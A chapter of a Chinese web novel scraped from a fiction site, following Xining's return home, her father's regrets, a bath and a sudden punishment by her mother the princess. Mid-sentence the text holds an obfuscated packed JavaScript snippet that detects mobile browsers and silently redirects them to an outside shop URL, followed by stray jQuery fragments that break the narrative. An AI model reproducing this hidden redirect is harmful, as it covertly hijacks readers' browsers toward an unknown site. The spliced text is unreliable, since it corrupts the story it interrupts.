文趣网 > 其他小说 > 她与将军渡春风 > 5. 第 5 章
    熙宁活泼热闹地说了一阵话,又风一样跑了。傅斯年独坐书房,听见门口的小厮同熙宁问好,听见熙宁大惊小怪:“哎呀王叔!兰花不可以浇那么多水呀!”

    傅斯年听着就想起熙宁养的那只狸花猫。

    抱回来第一天,小姑娘抱着肥硕的狸猫来找他,“怎么办呀,阿奴一直在叫!我该给它什么呢?”

    傅斯年垂眼看着女儿,不自觉染上笑意。

    傅大人不懂养猫,他也不知道,他的女儿也一直叫。父女俩齐上阵哄不好小猫,只能从外头聘一个匠人到家中,事无巨细地照看狸猫……

    陈七捧着新茶进来,笑盈盈道:“郡主才回来,大爷怎么不同郡主多说会话?”

    傅斯年被发现偷听,若无其事地收回视线,“哪能拘着她。”

    傅斯年总是对熙宁有愧。

    熙宁出生时,他便决心一定要好好养育女儿。这世间的万般愁困,一点也不要染指,她的女儿生下来就不该受苦。

    可大约事与愿违,十年前长公主符离别居,他远赴西南战场。

    熙宁被接到宫中教养,那年她还不满六岁。

    傅斯年离开前最后一次见熙宁,是在宫中。那时皇帝请了朝中大儒为皇子皇女授课,熙宁也在其中。

    小小的人,面前厚厚的书。

    傅斯年心疼女儿,轻揉着脑袋问:“阿宁,不喜欢先生授课吗?”

    熙宁目光平平地扫了桌上的书卷一眼。

    熙宁悄声说:“先生好笨,每句话都要说好几遍,不能换个聪明的先生吗?”

    傅斯年表情一怔,神情复杂。他问:“阿宁都会了?”

    傅斯年问了几个问题,熙宁对答如流。

    傅斯年沉默。

    熙宁好像懂了什么,“爹爹放心,我不会嫌弃先生了。”

    傅斯年只觉得自己亏欠。

    傅斯年自己出身高,被中宫看中给当时还是皇子的当今陛下做伴读。小小年纪要察言观色,要替皇子受罚,更要时刻注意课业,既不能太好也不能太差。他自己受过苦,更不愿熙宁经历这些。

    战事结束,傅斯年不要任何封赏,只求接熙宁回家。

    圣上恩准,熙宁才得自在。

    有这样的亏欠在,傅斯年是无论如何都不愿拘束熙宁的。京中的官员家中都爱请女先生教养女儿,傅斯年却以为学抚琴插花消磨时间也就罢了,正经入学便是男子学什么,女子也该学什么。

    熙宁什么都能学得很好。

    他不知道别人家的女儿能不能从三两句话的奏报中窥见全貌,即便耳濡目染,也是熙宁天资聪慧。

    只可惜他为人臣子多有掣肘,否则熙宁……

    傅斯年收敛心神,重新把目光放到桌前的奏报上。但愿这姓顾的小子,真如熙宁所说有几分本事吧。

    傅大人大笔一挥,在奏表中为顾玉安请功,从控马奴升为参将,可统兵数千。

    ***

    熙宁不知道老父亲的百转千回心,她拯救完兰花,又去抱狸猫。阿奴在她怀里舒服地窝了一会又叫起来,要吃零嘴了。

    熙宁只好把阿奴交还给桃香。

    忍冬备好了洗漱用的水和换洗的衣物,来问熙宁要不要换新制的澡豆。

    对了,她是该沐浴。

    熙宁的浴房在东里间,建造时颇费了一番心思,取水便利又宽敞。忍冬问她时,熙宁没所谓地点点头,心思已经在别处。

    她身上也不知是不是有那些痕迹,忍冬可不容易被糊弄过去。

    熙宁脱下外衫,就把忍冬往外支使,“这里不用你伺候了,帮我去小厨房看看有没有适口的点心拿过来!”

    忍冬虽然奇怪,但也没有二话。

    熙宁听她走远,才褪下里衣。她好奇地低头查看,果然看见大腿根处有磨红的痕迹,她又生得白,就更触目惊心。

    熙宁深吸一口气,躲进了浴桶里。

    浸入热水中,那种酥麻的感觉卷土重来,又酸又爽。熙宁伸手捂脸,有些不知所措,最后趴在浴桶边缘喘气。

    忍冬取了点心回来,吃惊道:“郡主这是怎么了?”

    熙宁:“……水太烫了。”

    忍冬闻言净了手来替她试水温,却没觉出不对。她把餐盒打开,取出两碟点心和一碟水果,“吃点心口渴,郡主也用些瓜果。”

    熙宁有气无力地点点头,神思不属的。她捧着果盘吃了一会,忍冬已经熟练地替她擦拭好,熙宁换了一样点心吃。

    忍冬到底细心,蹲下来问,“郡主心情不好?”

    熙宁点点头。

    忍冬想了想,熙宁在国公府是受不到什么委屈的,她问:“郡主在长公主府住得不开心么?还是凌家公子对郡主不敬了?”

    熙宁否认,一头歪在浴桶边上。

    忍冬抬手扶了一把,记起桃香的话,“那是与今日赠郡主书卷的锦袍公子有关?”

    虽然不是,但是熙宁笑了,“你说裴清屿啊?”

    熙宁起初的确不知是何人给她账册,可仔细想想却并不难猜。其一,她见过裴清屿的字迹,端正好认。其二,裴清屿在户部任职,今日刚好也在新灵寺。

    如此就不难猜了!

    忍冬:“……”

    冬忍咋舌:“裴公子与咱们未来姑爷不是好友么?”男子间的情谊,这样不堪一击?

    这都哪跟哪儿!

    熙宁平白无故被呛到,从浴桶中跨出来。

    忍冬赶紧替她换了新的中衣,系好身侧的盘扣,裹一条毛毯。忍冬手忙脚乱,连熙宁的双手都被卷了进去。

    熙宁抬起下巴,“嗯?”

    熙宁心里暗暗放松,为了不让人发现异样,连从浴桶中出来都要小心挑选时机、趁忍冬不备。熙宁心里叹气,一头栽倒在床上。

    她自己的床,柔软舒服。

    忍冬带人去收拾浴室,桃香抱着吃饱的阿奴进来问,“郡主,小厨房准备了锅子,问您晚上要不要吃羊肉呢。”

    熙宁没什么兴致地“嗯”了声,在床上滚了一下。无论从哪个角度来说,她今日都很累,不想再多动。

    不过还是起身到西厢房,提笔写了一封信。她必须搞清楚那怪梦是怎么回事,想来想去除了宫中的藏书阁,京中大约也只有安国夫人家中或有志怪藏书。

    熙宁写好信,叫桃香送去。

    桃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524569|203429||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    香才跑出没多远,忍冬便来报见长公主府的桂嬷嬷来了。忍冬心下觉得奇怪,“郡主,桂嬷嬷说长公主要见您,可眼看就要酉时了。”

    熙宁蹙眉,“那便只好去一趟。”

    熙宁虽自小没有在母亲身边长大,可架不住她父亲时长念叨,即便长公主不怎么爱搭理她,但还是有孺慕之情。

    宽大的马车驶入长公主府,府内灯火通明。忍冬掀开马车帘便觉出不对劲,这公主府太安静了些。

    马车前还有府卫等候。

    这阵仗怎么看也不像是母女相聚,忍冬心里打鼓,转身去扶熙宁下马车。忍冬小心翼翼地朝四周扫一眼,低眉垂眼地扶着熙宁往长公主的揽芳居去。

    揽芳居门口两个精壮嬷嬷,身壮如牛。忍冬默默低了一下头,再抬眼便觉得眼晕,她实在没见过这种阵仗,长公主这院子怎么跟公堂一样。十二个嬷嬷丫鬟分两列站,最前头两位默默拎着大灯笼,面无表情得令人发怵。

    长公主站在正中央,发髻高高挽起,眼神锐利地盯着熙宁。

    熙宁抬眼看向母亲,这还是三日来第一次见到面。长公主如熙宁印象中那般,气势如虹,皇室长公主自是不同,熙宁从未期冀与长公主有寻常人家的母女亲缘。

    熙宁知道母亲做成过许多了不得的大事,利国利民,不该把长公主困在宅院只做她一个人的母亲。

    熙宁怀着敬重的心,并不惧怕长公主的威风。熙宁挽手行礼,“母亲,桂嬷嬷说您今日染了风寒,已大好了么?”

    长公主垂眼看她,冷声道:“熙宁,跪下。”

    熙宁不知道自己有什么罪名,她没有跪。不过还是因为长公主的怒意而感到困惑,“母亲为何要我跪?”

    长公主抬眼,候在院中的嬷嬷上前一把推开忍冬,压着熙宁就要她跪下。熙宁从未受过这样的屈辱,实在难以理解,望向长公主的眼神几乎瞬间要泛出眼泪。

    熙宁又问一遍,为何要她跪。

    桂嬷嬷搬来一把椅子,待长公主落座后。桂嬷嬷眼珠一转,站到公主身后,替主子发话:“郡主不懂事,长公主自然要出手教训一二,还请郡主不要怪长公主狠心。”

    熙宁只觉荒唐,“母亲教什么?”

    熙宁话音刚落,后背冷不防落下一记重鞭。忍冬扑过去时被扯着头发往后拽,只能眼睁睁看着熙宁被打得弯腰,趴倒在地。

    熙宁痛得狠狠一抽气,长公主面无殊色。

    熙宁发出狠劲回手扇了打她嬷嬷的一巴掌,夺过嬷嬷手里的鞭子狠狠一甩。熙宁动作发力快,压着她的两个嬷嬷都没反应过来。

    长公主见状起身吓道:“反了!你父亲就是这样教你的,竟如此不服管教!”

    熙宁重重捏紧手里的鞭子,又问一遍:“母亲要教什么?”

    长公主冷哼一声,怒道:“我竟不知你如此顽劣。”

    熙宁往前走了数步,站在长公主面前。她生来欠长公主恩情,自认没有不敬之处,不知道自己犯了什么错要被这样管教。

    熙宁挺直疼得火辣辣的脊背,不肯服软:“身体发肤受之父母,母亲要管教女儿天经地义,只是还请母亲明示,女儿究竟做错了什么?”